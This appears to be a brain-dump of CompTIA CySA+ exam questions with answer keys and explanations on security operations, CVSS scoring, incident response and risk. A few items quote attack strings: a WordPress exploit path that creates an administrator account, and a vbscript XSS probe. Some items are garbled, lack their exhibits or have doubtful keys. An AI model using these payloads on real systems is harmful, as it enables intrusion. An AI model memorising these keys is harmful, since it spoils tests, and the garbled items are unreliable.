C. Deploy sandboxing.
D. Update the application blocklist.

Answer: C

Explanation:
Sandboxing is a technique that isolates potentially malicious programs or files in a controlled environment, preventing them from affecting the rest of the system. It
can help mitigate the effects of a new ransomware attack by preventing it from encrypting or deleting important data or spreading to other devices. References:
CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 5, page 202; CompTIA CySA+ CS0-003 Certification Study Guide, Chapter 5, page 210.

NEW QUESTION 71
Which of the following would a security analyst most likely use to compare TTPs between different known adversaries of an organization?

A. MITRE ATTACK
B. Cyber Kill Cham
C. OWASP
D. STIXTAXII

Answer: A

Explanation:
MITRE ATT&CK is a framework and knowledge base that describes the tactics, techniques, and procedures (TTPs) used by various adversaries in cyberattacks.
MITRE ATT&CK can help security analysts compare TTPs between different known adversaries of an organization, as well as identify patterns, gaps, or trends in
adversary behavior. MITRE ATT&CK can also help security analysts improve threat detection, analysis, and response capabilities, as well as share threat
intelligence with other organizations or communities

NEW QUESTION 73
An organization would like to ensure its cloud infrastructure has a hardened configuration. A requirement is to create a server image that can be deployed with a
secure template. Which of the following is the best resource to ensure secure configuration?

A. CIS Benchmarks
B. PCI DSS
C. OWASP Top Ten
D. ISO 27001

Answer: A

Explanation:
The best resource to ensure secure configuration of cloud infrastructure is A. CIS Benchmarks. CIS Benchmarks are a set of prescriptive configuration
recommendations for various technologies, including cloud providers, operating systems, network devices, and server software. They are developed by a global
community of cybersecurity experts and help organizations protect their systems against threats more confidently1 PCI DSS, OWASP Top Ten, and ISO 27001
are also important standards for information security, but they are not focused on providing specific guidance for hardening cloud infrastructure. PCI DSS is a
compliance scheme for payment card transactions, OWASP Top Ten is a list of common web application security risks, and ISO 27001 is a framework for
establishing and maintaining an information security management system. These standards may have some relevance for cloud security, but they are not as
comprehensive and detailed as CIS Benchmarks

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NEW QUESTION 75
Given the following CVSS string- CVSS:3.0/AV:N/AC:L/PR:N/UI:N/3:U/C:K/I:K/A:H
Which of the following attributes correctly describes this vulnerability?

A. A user is required to exploit this vulnerability.

B. The vulnerability is network based.
C. The vulnerability does not affect confidentiality.
D. The complexity to exploit the vulnerability is high.

Answer: B

Explanation:
The vulnerability is network based is the correct attribute that describes this vulnerability, as it can be inferred from the CVSS string. CVSS stands for Common
Vulnerability Scoring System, which is a framework that assigns numerical scores and ratings to vulnerabilities based on their characteristics and severity. The
CVSS string consists of several metrics that define different aspects of the vulnerability, such as the attack vector, the attack complexity, the privileges required,
the user interaction, the scope, and the impact on confidentiality, integrity and availability. The first metric in the CVSS string is the attack vector (AV), which
indicates how the vulnerability can be exploited. The value of AV in this case is N, which stands for network. This means that the vulnerability can be exploited
remotely over a network connection, without physical or logical access to the target system. Therefore, the vulnerability is network based. Official References:
? https://partners.comptia.org/docs/default-source/resources/comptia-cysa-cs0-002-exam-objectives
? https://www.comptia.org/certifications/cybersecurity-analyst
? https://packitforwarding.com/index.php/2019/01/10/comptia-cysa-common-vulnerability-scoring-system-cvss/

NEW QUESTION 77
A disgruntled open-source developer has decided to sabotage a code repository with a logic bomb that will act as a wiper. Which of the following parts of the Cyber
Kill Chain does this act exhibit?

A. Reconnaissance
B. Weaponization
C. Exploitation
D. Installation

Answer: B

Explanation:
Weaponization is the stage of the Cyber Kill Chain where the attacker creates or modifies a
malicious payload to use against a target. In this case, the disgruntled open-source developer has created a logic bomb that will act as a wiper, which is a type of
malware that destroys data on a system. This is an example of weaponization, as the developer has prepared a cyberweapon to sabotage the code repository.
References: The answer was based on the web search results from Bing, especially the following sources:
? Cyber Kill Chain® | Lockheed Martin, which states: “In the weaponization step, the
adversary creates remote access malware weapon, such as a virus or worm, tailored to one or more vulnerabilities.”
? The Cyber Kill Chain: The Seven Steps of a Cyberattack - EC-Council, which
states: “In the weaponization stage, all of the attacker’s preparatory work culminates in the creation of malware to be used against an identified target.”
? What is the Cyber Kill Chain? Introduction Guide - CrowdStrike, which states:
“Weaponization: The attacker creates a malicious payload that will be delivered to the target.”

NEW QUESTION 78
An employee accessed a website that caused a device to become infected with invasive malware. The incident response analyst has:
• created the initial evidence log.
• disabled the wireless adapter on the device.
• interviewed the employee, who was unable to identify the website that was accessed
• reviewed the web proxy traffic logs.
Which of the following should the analyst do to remediate the infected device?

A. Update the system firmware and reimage the hardware.

B. Install an additional malware scanner that will send email alerts to the analyst.
C. Configure the system to use a proxy server for Internet access.
D. Delete the user profile and restore data from backup.

Answer: A

Explanation:
Updating the system firmware and reimaging the hardware is the best action to perform to remediate the infected device, as it helps to ensure that the device is
restored to a clean and secure state and that any traces of malware are removed. Firmware is a type of software that controls the low-level functions of a hardware
device, such as a motherboard, hard drive, or network card. Firmware can be updated or flashed to fix bugs, improve performance, or enhance security.
Reimaging is a process of erasing and restoring the data on a storage device, such as a hard drive or a solid state drive, using an image file that contains a copy of
the operating system, applications, settings, and files. Reimaging can help to recover from system failures, data corruption, or malware infections. Updating the
system firmware and reimaging the hardware can help to remediate the infected device by removing any malicious code or configuration changes that may have
been made by the malware, as well as restoring any missing or damaged files or settings that may have been affected by the malware. This can help to prevent
further damage, data loss, or compromise of the device or the network. The other actions are not as effective or appropriate as updating the system firmware and
reimaging the hardware, as they do not address the root cause of the infection or ensure that the device is fully cleaned and secured. Installing an additional
malware scanner that will send email alerts to the analyst may help to detect and remove some types of malware, but it may not be able to catch all malware
variants or remove them completely. It may also create conflicts or performance issues with other security tools or systems on the device. Configuring the system
to use a proxy server for Internet access may help to filter or monitor some types of malicious traffic or requests, but it may not prevent or remove malware that has
already infected the device or that uses other methods of communication or propagation. Deleting the user profile and restoring data from backup may help to
recover some data or settings that may have been affected by the malware, but it may not remove malware that has infected other parts of the system or that has
persisted on the device.

NEW QUESTION 79
A SOC analyst identifies the following content while examining the output of a debugger command over a client-server application:

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getconnection (database01, "alpha " , "AXTV. 127GdCx94GTd") ; Which of the following is the most likely vulnerability in this system?

A. Lack of input validation

B. SQL injection
C. Hard-coded credential
D. Buffer overflow attacks

Answer: C

Explanation:
The most likely vulnerability in this system is hard-coded credential. Hard-coded credential is a practice of embedding or storing a username, password, or other
sensitive information in the source code or configuration file of a system or application. Hard-coded credential can pose a serious security risk, as it can expose the
system or application to unauthorized access, data theft, or compromise if the credential is discovered or leaked by an attacker. Hard-coded credential can also
make it difficult to change or update the credential if needed, as it may require modifying the code or file and redeploying the system or application.

NEW QUESTION 84
A vulnerability management team is unable to patch all vulnerabilities found during their weekly scans. Using the third-party scoring system described below, the
team patches the most urgent vulnerabilities:

Additionally, the vulnerability management team feels that the metrics Smear and Channing are less important than the others, so these will be lower in priority.
Which of the following vulnerabilities should be patched first, given the above third-party scoring system?

A. InLoud: Cobain: Yes Grohl: No Novo: Yes Smear: Yes Channing: No B.TSpirit: Cobain: Yes Grohl: Yes Novo: Yes Smear: No Channing: No C.ENameless:
Cobain: Yes Grohl: No Novo: Yes Smear: No Channing: No D.PBleach: Cobain: Yes Grohl: No Novo: No Smear: No Channing: Yes

Answer: B

Explanation:
The vulnerability that should be patched first, given the above third-party scoring system, is:
TSpirit: Cobain: Yes Grohl: Yes Novo: Yes Smear: No Channing: No
This vulnerability has three out of five metrics marked as Yes, which indicates a high severity level. The metrics Cobain, Grohl, and Novo are more important than
Smear and Channing, according to the vulnerability management team. Therefore, this vulnerability poses a greater risk than the other vulnerabilities and should
be patched first.

NEW QUESTION 87
Which of the following statements best describes the MITRE ATT&CK framework?

A. It provides a comprehensive method to test the security of applications.

B. It provides threat intelligence sharing and development of action and mitigation strategies.
C. It helps identify and stop enemy activity by highlighting the areas where an attacker functions.
D. It tracks and understands threats and is an open-source project that evolves.
E. It breaks down intrusions into a clearly defined sequence of phases.

Answer: D

Explanation:
The MITRE ATT&CK framework is a knowledge base of cybercriminals’ adversarial behaviors based on cybercriminals’ known tactics, techniques and
procedures (TTPs). It helps security teams model, detect, prevent and fight cybersecurity threats by simulating cyberattacks, creating security policies, controls
and incident response plans, and sharing information with other security professionals. It is an open-source project that evolves with input from a global community
of cybersecurity professionals1. References: What is the MITRE ATT&CK Framework? | IBM

NEW QUESTION 91
An organization has experienced a breach of customer transactions. Under the terms of PCI DSS, which of the following groups should the organization report the
breach to?

A. PCI Security Standards Council

B. Local law enforcement
C. Federal law enforcement
D. Card issuer

Answer: D

Explanation:
Under the terms of PCI DSS, an organization that has experienced a breach of customer transactions should report the breach to the card issuer. The card issuer
is the financial institution that issues the payment cards to the customers and that is responsible for authorizing and processing the transactions. The card issuer
may have specific reporting requirements and procedures for the organization to follow in the event of a breach. The organization should also notify other parties
that may be affected by the breach, such as customers, law enforcement, or regulators, depending on the nature and scope of the breach. Official References:

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NEW QUESTION 93
An analyst is conducting monitoring against an authorized team that win perform adversarial techniques. The analyst interacts with the team twice per day to set
the stage for the techniques to be used. Which of the following teams is the analyst a member of?

A. Orange team
B. Blue team
C. Red team
D. Purple team

Answer: A

Explanation:
The correct answer is A. Orange team.
An orange team is a team that is involved in facilitation and training of other teams in cybersecurity. An orange team assists the yellow team, which is the
management or leadership team that oversees the cybersecurity strategy and governance of an organization. An orange team helps the yellow team to understand
the cybersecurity risks and challenges, as well as the roles and responsibilities of other teams, such as the red, blue, and purple teams12.
In this scenario, the analyst is conducting monitoring against an authorized team that will perform adversarial techniques. This means that the analyst is observing
and evaluating the performance of another team that is simulating real-world attacks against the organization’s systems or networks. This could be either a red
team or a purple team, depending on whether they are working independently or collaboratively with the defensive team345.
The analyst interacts with the team twice per day to set the stage for the techniques to be used. This means that the analyst is providing guidance and feedback to
the team on how to conduct their testing and what techniques to use. This could also involve setting up scenarios, objectives, rules of engagement, and success
criteria for the testing. This implies that the analyst is facilitating and training the team to improve their skills and capabilities in cybersecurity12.
Therefore, based on these descriptions, the analyst is a member of an orange team, which is involved in facilitation and training of other teams in cybersecurity.
The other options are incorrect because they do not match the role and function of the analyst in this scenario.
Option B is incorrect because a blue team is a defensive security team that monitors and protects the organization’s systems and networks from real or simulated
attacks. A blue team does not conduct monitoring against an authorized team that will perform adversarial techniques, but rather defends against them345.
Option C is incorrect because a red team is an offensive security team that discovers and exploits vulnerabilities in the organization’s systems or networks by
simulating real-world attacks. A red team does not conduct monitoring against an authorized team that will perform adversarial techniques, but rather performs
them345.
Option D is incorrect because a purple team is not a separate security team, but rather a collaborative approach between the red and blue teams to improve the
organization’s overall security. A purple team does not conduct monitoring against an authorized team that will perform adversarial techniques, but rather works
with them345.
References:
? 1 Infosec Color Wheel & The Difference Between Red & Blue Teams
? 2 The colors of cybersecurity - UW–Madison Information Technology
? 3 Red Team vs. Blue Team vs. Purple Team Compared - U.S. Cybersecurity
? 4 Red Team vs. Blue Team vs. Purple Team: What’s The Difference? | Varonis
? 5 Red, blue, and purple teams: Cybersecurity roles explained | Pluralsight Blog

NEW QUESTION 97
Which of the following techniques can help a SOC team to reduce the number of alerts related to the internal security activities that the analysts have to triage?

A. Enrich the SIEM-ingested data to include all data required for triage.
B. Schedule a task to disable alerting when vulnerability scans are executing.
C. Filter all alarms in the SIEM with low severity.
D. Add a SOAR rule to drop irrelevant and duplicated notifications.

Answer: B

NEW QUESTION 100

During an incident, analysts need to rapidly investigate by the investigation and leadership teams. Which of the following best describes how PII should be
safeguarded during an
incident?

A. Implement data encryption and close the data so only the company has access.
B. Ensure permissions are limited in the investigation team and encrypt the data.
C. Implement data encryption and create a standardized procedure for deleting data that is no longer needed.
D. Ensure that permissions are open only to the company.

Answer: B

Explanation:
The best option to safeguard PII during an incident is to ensure permissions are limited in the investigation team and encrypt the data. This is because limiting
permissions reduces the risk of unauthorized access or leakage of sensitive data, and encryption protects the data from being read or modified by anyone who
does not have the decryption key. Option A is not correct because closing the data may hinder the investigation process and prevent collaboration with other
parties who may need access to the data. Option C is not correct because deleting data that is no longer needed may violate legal or regulatory requirements for
data retention, and may also destroy potential evidence for the incident. Option D is not correct because opening permissions to the company may expose the data
to more people than necessary, increasing the risk of compromise or misuse.
References: CompTIA CySA+ Study Guide: Exam CS0-002, 2nd Edition, Chapter 4, “Data Protection and Privacy Practices”, page 195; CompTIA CySA+
Certification Exam Objectives Version 4.0, Domain 4.0 “Compliance and Assessment”, Objective 4.1 “Given a scenario, analyze data as part of a security
incident”, Sub-objective “Data encryption”, page 23
CompTIA CySA+ Study Guide: Exam CS0-002, 2nd Edition : CompTIA CySA+ Certification Exam Objectives Version 4.0.pdf)

NEW QUESTION 105

A cybersecurity analyst notices unusual network scanning activity coming from a country that the company does not do business with. Which of the following is the
best mitigation technique?

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A. Geoblock the offending source country

B. Block the IP range of the scans at the network firewall.
C. Perform a historical trend analysis and look for similar scanning activity.
D. Block the specific IP address of the scans at the network firewall

Answer: A

Explanation:
Geoblocking is the best mitigation technique for unusual network scanning activity coming from a country that the company does not do business with, as it can
prevent any potential attacks or data breaches from that country. Geoblocking is the practice of restricting access to websites or services based on geographic
location, usually by blocking IP addresses associated with a certain country or region. Geoblocking can help reduce the overall attack surface and protect against
malicious actors who may be trying to exploit vulnerabilities or steal information. The other options are not as effective as geoblocking, as they may not block all
the possible sources of the scanning activity, or they may not address the root cause of the problem. Official References:
? https://www.blumira.com/geoblocking/
? https://www.avg.com/en/signal/geo-blocking

NEW QUESTION 106

The security operations team is required to consolidate several threat intelligence feeds due to redundant tools and portals. Which of the following will best achieve
the goal and maximize results?

A. Single pane of glass

B. Single sign-on
C. Data enrichment
D. Deduplication

Answer: D

Explanation:
Deduplication is a process that involves removing any duplicate or redundant data or information from a data set or source. Deduplication can help consolidate
several
threat intelligence feeds by eliminating any overlapping or repeated indicators of compromise (IoCs), alerts, reports, or recommendations. Deduplication can also
help reduce the volume and complexity of threat intelligence data, as well as improve its quality, accuracy, or relevance.

NEW QUESTION 107

A security analyst receives an alert for suspicious activity on a company laptop An excerpt of the log is shown below:

Which of the following has most likely occurred?

A. An Office document with a malicious macro was opened.

B. A credential-stealing website was visited.
C. A phishing link in an email was clicked
D. A web browser vulnerability was exploited.

Answer: A

Explanation:
An Office document with a malicious macro was opened is the most likely explanation for the suspicious activity on the company laptop, as it reflects the common
technique of using macros to execute PowerShell commands that download and run malware. A macro is a piece of code that can automate tasks or perform
actions in an Office document, such as a Word file or an Excel spreadsheet. Macros can be useful and legitimate, but they can also be abused by threat actors to
deliver malware or perform malicious actions on the system. A malicious macro can be embedded in an Office document that is sent as an attachment in a
phishing email or hosted on a compromised website. When the user opens the document, they may be prompted to enable macros or content, which will trigger
the execution of the malicious code. The malicious macro can then use PowerShell, which is a scripting language and command-line shell that is built into
Windows, to perform various tasks, such as downloading and running malware from a remote URL, bypassing security controls, or establishing persistence on the
system. The log excerpt shows that PowerShell was used to download a string from a URL using the WebClient.DownloadString method, which is a common way
to fetch and execute malicious code from the internet. The log also shows that PowerShell was used to invoke an expression (iex) that contains obfuscated code,
which is another common way to evade detection and analysis. The other options are not as likely as an Office document with a malicious macro was opened, as
they do not match the evidence in the log excerpt. A credential-stealing website was visited is possible, but it does not explain why PowerShell was used to
download and execute code from a URL. A phishing link in an email was clicked is also possible, but it does not explain what happened after the link was clicked
or how PowerShell was involved. A web browser vulnerability was exploited is unlikely, as it does not explain why PowerShell was used to download and execute
code from a URL.

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NEW QUESTION 110

A security analyst is working on a server patch management policy that will allow the infrastructure team to be informed more quickly about new patches. Which of
the following would most likely be required by the infrastructure team so that vulnerabilities can be remediated quickly? (Select two).

A. Hostname
B. Missing KPI
C. CVE details
D. POC availability
E. loCs
F. npm identifier

Answer: CE

Explanation:
CVE details and IoCs are information that would most likely be required by the infrastructure team so that vulnerabilities can be remediated quickly. CVE details
provide the description, severity, impact, and solution of the vulnerabilities that affect the servers. IoCs are indicators of compromise that help identify and respond
to potential threats or attacks on the servers. ReferencesS: erver and Workstation Patch Management Policy, Section: Policy; Patch Management Policy: Why You
Need One in 2024, Section: What is a patch management policy?

NEW QUESTION 115

A vulnerability analyst received a list of system vulnerabilities and needs to evaluate the relevant impact of the exploits on the business. Given the constraints of
the current sprint, only three can be remediated. Which of the following represents the least impactful risk, given the CVSS3.1 base scores?

A. AV:N/AC:H/PR:H/UI:R/S:U/C:H/I:H/A:L - Base Score 6.0

B. AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:L/A:L - Base Score 7.2
C. AV:N/AC:H/PR:H/UI:R/S:U/C:H/I:H/A:H - Base Score 6.4
D. AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:L - Base Score 6.5

Answer: A

Explanation:
This option represents the least impactful risk because it has the lowest base score among the four options, and it also requires high privileges, user interaction,
and high attack complexity to exploit, which reduces the likelihood of a successful attack.
References: The base scores were calculated using the Common Vulnerability Scoring System Version 3.1 Calculator from FIRST. The explanation was based on
the CVSS standards guide from NVD and the CVSS 3.1 Calculator Online from Calculators Hub.

NEW QUESTION 118

Which of the following does "federation" most likely refer to within the context of identity and access management?

A. Facilitating groups of users in a similar function or profile to system access that requires elevated or conditional access
B. An authentication mechanism that allows a user to utilize one set of credentials to access multiple domains
C. Utilizing a combination of what you know, who you are, and what you have to grant authentication to a user
D. Correlating one's identity with the attributes and associated applications the user has access to

Answer: B

Explanation:
Federation is a system of trust between two parties for the purpose of authenticating users and conveying information needed to authorize their access to
resources. By using federation, a user can use one set of credentials to access multiple domains that trust each other.

NEW QUESTION 122

Which of the following best describes the threat concept in which an organization works to ensure that all network users only open attachments from known
sources?

A. Hacktivist threat
B. Advanced persistent threat
C. Unintentional insider threat
D. Nation-state threat

Answer: C

Explanation:
An unintentional insider threat is a type of network security threat that occurs when a legitimate user of the network unknowingly exposes the network to malicious
activity, such as opening a phishing email or a malware-infected attachment from an unknown source. This can compromise the network security and allow
attackers to access sensitive data or systems. The other options are not related to the threat concept of ensuring that all network users only open attachments
from known sources.
ReferencesCompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 1: Threat and Vulnerability Management, page 13.What is Network Security |
Threats, Best Practices
| Imperva, Network Security Threats and Attacks, Phishing section.Five Ways to Defend Against Network Security Threats, 2. Use Firewalls section.

NEW QUESTION 125

An organization enabled a SIEM rule to send an alert to a security analyst distribution list when ten failed logins occur within one minute. However, the control was
unable to detect an attack with nine failed logins. Which of the following best represents what occurred?

A. False positive
B. True negative
C. False negative
D. True positive

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Answer: C

Explanation:
The correct answer is C. False negative.
A false negative is a situation where an attack or a threat is not detected by a security control, even though it should have been. In this case, the SIEM rule was
unable to detect an attack with nine failed logins, which is below the threshold of ten failed logins that triggers an alert. This means that the SIEM rule missed a
potential attack and failed to alert the security analysts, resulting in a false negative.
A false positive is a situation where a benign or normal activity is detected as an attack or a threat by a security control, even though it is not. A true negative is a
situation where a benign or normal activity is not detected as an attack or a threat by a security control, as expected. A true positive is a situation where an attack
or a threat is detected by a security control, as expected. These are not the correct answers for this question.

NEW QUESTION 129

After conducting a cybersecurity risk assessment for a new software request, a Chief Information Security Officer (CISO) decided the risk score would be too high.
The CISO refused the software request. Which of the following risk management principles did the CISO select?

A. Avoid
B. Transfer
C. Accept
D. Mitigate

Answer: A

Explanation:
Avoid is a risk management principle that describes the decision or action of not engaging in an activity or accepting a risk that is deemed too high or
unacceptable. Avoiding a risk can eliminate the possibility or impact of the risk, as well as the need for any further risk management actions. In this case, the CISO
decided the risk score would be too high and refused the software request. This indicates that the CISO selected the avoid principle for risk management.

NEW QUESTION 133

A vulnerability scan of a web server that is exposed to the internet was recently completed. A security analyst is reviewing the resulting vector strings:
Vulnerability 1: CVSS: 3.0/AV:N/AC: L/PR: N/UI : N/S: U/C: H/I : L/A:L Vulnerability 2: CVSS: 3.0/AV: L/AC: H/PR:N/UI : N/S: U/C: L/I : L/A: H Vulnerability 3:
CVSS: 3.0/AV:A/AC: H/PR: L/UI : R/S: U/C: L/I : H/A:L Vulnerability 4: CVSS: 3.0/AV: P/AC: L/PR: H/UI : N/S: U/C: H/I:N/A:L
Which of the following vulnerabilities should be patched first?

A. Vulnerability 1
B. Vulnerability 2
C. Vulnerability 3
D. Vulnerability 4

Answer: A

NEW QUESTION 138

A Chief Information Security Officer (CISO) wants to disable a functionality on a business- critical web application that is vulnerable to RCE in order to maintain the
minimum risk level with minimal increased cost.
Which of the following risk treatments best describes what the CISO is looking for?

A. Transfer
B. Mitigate
C. Accept
D. Avoid

Answer: B

NEW QUESTION 141

Which of the following risk management principles is accomplished by purchasing cyber insurance?

A. Accept
B. Avoid
C. Mitigate
D. Transfer

Answer: D

Explanation:
Transfer is the risk management principle that is accomplished by purchasing cyber insurance. Transfer is a strategy that involves shifting the risk or its
consequences to another party, such as an insurance company, a vendor, or a partner. Transfer does not eliminate the risk, but it reduces the potential impact or
liability of the risk for the original party. Cyber insurance is a type of insurance that covers the losses and damages resulting from cyberattacks, such as data
breaches, ransomware, denial-of-service attacks, or network disruptions. Cyber insurance can help transfer the risk of cyber incidents by providing financial
compensation, legal assistance, or recovery services to the insured party. Official References:
? https://partners.comptia.org/docs/default-source/resources/comptia-cysa-cs0-002-exam-objectives
? https://www.comptia.org/certifications/cybersecurity-analyst
? https://www.comptia.org/blog/the-new-comptia-cybersecurity-analyst-your- questions-answered

NEW QUESTION 142

A SOC manager receives a phone call from an upset customer. The customer received a vulnerability report two hours ago: but the report did not have a follow-up
remediation response from an analyst. Which of the following documents should the SOC manager review to ensure the team is meeting the appropriate
contractual obligations for the customer?

A. SLA

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B. MOU
C. NDA
D. Limitation of liability

Answer: A

Explanation:
SLA stands for service level agreement, which is a contract or document that defines the expectations and obligations between a service provider and a customer
regarding the quality, availability, performance, or scope of a service. An SLA may also specify the metrics, penalties, or remedies for measuring or ensuring
compliance with the agreed service levels. An SLA can help the SOC manager review if the team is meeting the appropriate contractual obligations for the
customer, such as response time, resolution time, reporting frequency, or communication channels.

NEW QUESTION 146

An analyst has received an IPS event notification from the SIEM stating an IP address, which is known to be malicious, has attempted to exploit a zero-day
vulnerability on several web servers. The exploit contained the following snippet:
/wp-json/trx_addons/V2/get/sc_layout?sc=wp_insert_user&role=administrator
Which of the following controls would work best to mitigate the attack represented by this snippet?

A. Limit user creation to administrators only.

B. Limit layout creation to administrators only.
C. Set the directory trx_addons to read only for all users.
D. Set the directory v2 to read only for all users.

Answer: A

Explanation:
Limiting user creation to administrators only would work best to mitigate the attack represented by this snippet. The snippet shows an attempt to exploit a zero-day
vulnerability in the ThemeREX Addons WordPress plugin, which allows remote code execution by invoking arbitrary PHP functions via the REST-API endpoint
/wp- json/trx_addons/V2/get/sc_layout. In this case, the attacker tries to use the wp_insert_user function to create a new administrator account on the WordPress
site12. Limiting user creation to administrators only would prevent the attacker from succeeding, as they would need to provide valid administrator credentials to
create a new user. This can be done by using a plugin or a code snippet that restricts user registration to administrators34. Limiting layout creation to
administrators only, setting the directory trx_addons to read only for all users, and setting the directory v2 to read only for all users are not effective controls to
mitigate the attack, as they do not address the core of the vulnerability, which is the lack of input validation and sanitization on the REST-API endpoint. Moreover,
setting directories to read only may affect the functionality of the plugin or the WordPress site56. References: Zero-Day Vulnerability in ThemeREX Addons Now
Patched - Wordfence, Mitigating Zero Day Attacks With a Detection, Prevention … - Spiceworks, How to Restrict WordPress User Registration to Specific Email …,
How to Limit WordPress User Registration to Specific Domains, WordPress File Permissions: A Guide to Securing Your Website, WordPress File Permissions:
What is the Ideal Setting?

NEW QUESTION 148

Which of the following is the most important factor to ensure accurate incident response reporting?

A. A well-defined timeline of the events

B. A guideline for regulatory reporting
C. Logs from the impacted system
D. A well-developed executive summary

Answer: A

Explanation:
A well-defined timeline of the events is the most important factor to ensure accurate incident response reporting, as it provides a clear and chronological account
of what happened, when it happened, who was involved, and what actions were taken. A timeline helps to identify the root cause of the incident, the impact and
scope of the damage, the effectiveness of the response, and the lessons learned for future improvement. A timeline also helps to communicate the incident to
relevant stakeholders, such as management, legal, regulatory, or media entities. The other factors are also important for incident response reporting, but they are
not as essential as a well-defined timeline. Official References:
? https://www.ibm.com/topics/incident-response
? https://www.crowdstrike.com/cybersecurity-101/incident-response/incident- response-steps/

NEW QUESTION 153

An organization has activated the CSIRT. A security analyst believes a single virtual server was compromised and immediately isolated from the network. Which of
the following should the CSIRT conduct next?

A. Take a snapshot of the compromised server and verify its integrity

B. Restore the affected server to remove any malware
C. Contact the appropriate government agency to investigate
D. Research the malware strain to perform attribution

Answer: A

Explanation:
The next action that the CSIRT should conduct after isolating the compromised server from the network is to take a snapshot of the compromised server and
verify its integrity. Taking a snapshot of the compromised server involves creating an exact copy or image of the server’s data and state at a specific point in time.
Verifying its integrity involves ensuring that the snapshot has not been altered, corrupted, or tampered with during or after its creation. Taking a snapshot and
verifying its integrity can help preserve and protect any evidence or information related to the incident, as well as prevent any tampering, contamination, or
destruction of evidence.

NEW QUESTION 154

While reviewing web server logs, a security analyst found the following line:
<IMG SRC=’vbscript:msgbox("test")’>
Which of the following malicious activities was attempted?

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A. Command injection
B. XML injection
C. Server-side request forgery
D. Cross-site scripting

Answer: D

Explanation:
XSS is a type of web application attack that exploits the vulnerability of a web server or browser to execute malicious scripts or commands on the client-side. XSS
attackers inject malicious code, such as JavaScript, VBScript, HTML, or CSS, into a web page or application that is viewed by other users. The malicious code can
then access or manipulate the user’s session, cookies, browser history, or personal information, or perform actions on behalf of the user, such as stealing
credentials, redirecting to phishing sites, or installing malware12
The line in the web server log shows an example of an XSS attack using VBScript. The attacker tried to insert an <IMG> tag with a malicious SRC attribute that
contains a VBScript code. The VBScript code is intended to display a message box with the text “test” when the user views the web page or application. This is a
simple and harmless example of XSS, but it could be used to test the vulnerability of the web server or browser, or to launch more sophisticated and harmful
attacks3

NEW QUESTION 155

A technician is analyzing output from a popular network mapping tool for a PCI audit:

Which of the following best describes the output?

A. The host is not up or responding.

B. The host is running excessive cipher suites.
C. The host is allowing insecure cipher suites.
D. The Secure Shell port on this host is closed

Answer: C

Explanation:
The output shows the result of running the ssl-enum-ciphers script with Nmap, which is a tool that can scan web servers for supported SSL/TLS cipher suites.
Cipher suites are combinations of cryptographic algorithms that are used to establish secure communication between a client and a server. The output shows the
cipher suites that are supported by the server, along with a letter grade (A through F) indicating the strength of the connection. The output also shows the least
strength, which is the strength of the weakest cipher offered by the server. In this case, the least strength is F, which means that the server is allowing insecure
cipher suites that are vulnerable to attacks or have been deprecated. For example, the output shows that the server supports SSLv3, which is an outdated and
insecure protocol that is susceptible to the POODLE attack. The output also shows that the server supports RC4, which is a weak and broken stream cipher that
should not be used. Therefore, the best description of the output is that the host is allowing insecure cipher suites. The other descriptions are not accurate, as they
do not reflect what the output shows. The host is not up or responding is incorrect, as the output clearly shows that the host is up and responding to the scan. The
host is running excessive cipher suites is incorrect, as the output does not indicate how many cipher suites the host is running, only which ones it supports. The
Secure Shell port on this host is closed is incorrect, as the output does not show anything about port 22, which is the default port for Secure Shell (SSH). The
output only shows information about port 443, which is the default port for HTTPS.

NEW QUESTION 159

Which of the following best describes the goal of a tabletop exercise?

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A. To test possible incident scenarios and how to react properly

B. To perform attack exercises to check response effectiveness
C. To understand existing threat actors and how to replicate their techniques
D. To check the effectiveness of the business continuity plan

Answer: A

Explanation:
A tabletop exercise is a type of simulation exercise that involves testing possible incident scenarios and how to react properly, without actually performing any
actions or using any resources. A tabletop exercise is usually conducted by a facilitator who presents a realistic scenario to a group of participants, such as a
cyberattack, a natural disaster, or a data breach. The participants then discuss and evaluate their roles, responsibilities, plans, procedures, and policies for
responding to the incident, as well as the potential impacts and outcomes. A tabletop exercise can help identify strengths and weaknesses in the incident response
plan, improve communication and coordination among the stakeholders, raise awareness and preparedness for potential incidents, and provide feedback and
recommendations for improvement.

NEW QUESTION 161

A SOC manager is establishing a reporting process to manage vulnerabilities. Which of the following would be the best solution to identify potential loss incurred
by an issue?

A. Trends
B. Risk score
C. Mitigation
D. Prioritization

Answer: B

Explanation:
A risk score is a numerical value that represents the potential impact and likelihood of a vulnerability being exploited. It can help to identify the potential loss
incurred by an issue and prioritize remediation efforts accordingly. https://www.comptia.org/training/books/cysa-cs0-003-study-guide

NEW QUESTION 166

An analyst is examining events in multiple systems but is having difficulty correlating data points. Which of the following is most likely the issue with the system?

A. Access rights
B. Network segmentation
C. Time synchronization
D. Invalid playbook

Answer: C

Explanation:
Time synchronization is the process of ensuring that all systems in a network have the same accurate time, which is essential for correlating data points from
different sources. If the system has an issue with time synchronization, the analyst may have difficulty matching events that occurred at the same time or in a
specific order. Access rights, network segmentation, and invalid playbook are not directly related to the issue of correlating data points. Verified References:
[CompTIA CySA+ CS0-002 Certification Study Guide], page 23

NEW QUESTION 168

A cybersecurity analyst is recording the following details
* ID
* Name
* Description
* Classification of information
* Responsible party
In which of the following documents is the analyst recording this information?

A. Risk register
B. Change control documentation
C. Incident response playbook
D. Incident response plan

Answer: A

Explanation:
A risk register typically contains details like ID, name, description, classification of information, and responsible party. It’s used for tracking identified risks and
managing them.Recording details like ID, Name, Description, Classification of information, and Responsible party is typically done in a Risk Register. This
document is used to identify, assess, manage, and monitor risks within an organization. It's not directly related to incident response or change control
documentation.

NEW QUESTION 172

A company brings in a consultant to make improvements to its website. After the consultant leaves. a web developer notices unusual activity on the website and
submits a suspicious file containing the following code to the security team:

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Which of the following did the consultant do?

A. Implanted a backdoor
B. Implemented privilege escalation
C. Implemented clickjacking
D. Patched the web server

Answer: A

Explanation:
The correct answer is A. Implanted a backdoor.
A backdoor is a method that allows an unauthorized user to access a system or network without the permission or knowledge of the owner. A backdoor can be
installed by exploiting a software vulnerability, by using malware, or by physically modifying the hardware or firmware of the device. A backdoor can be used for
various malicious purposes, such as stealing data, installing malware, executing commands, or taking control of the system.
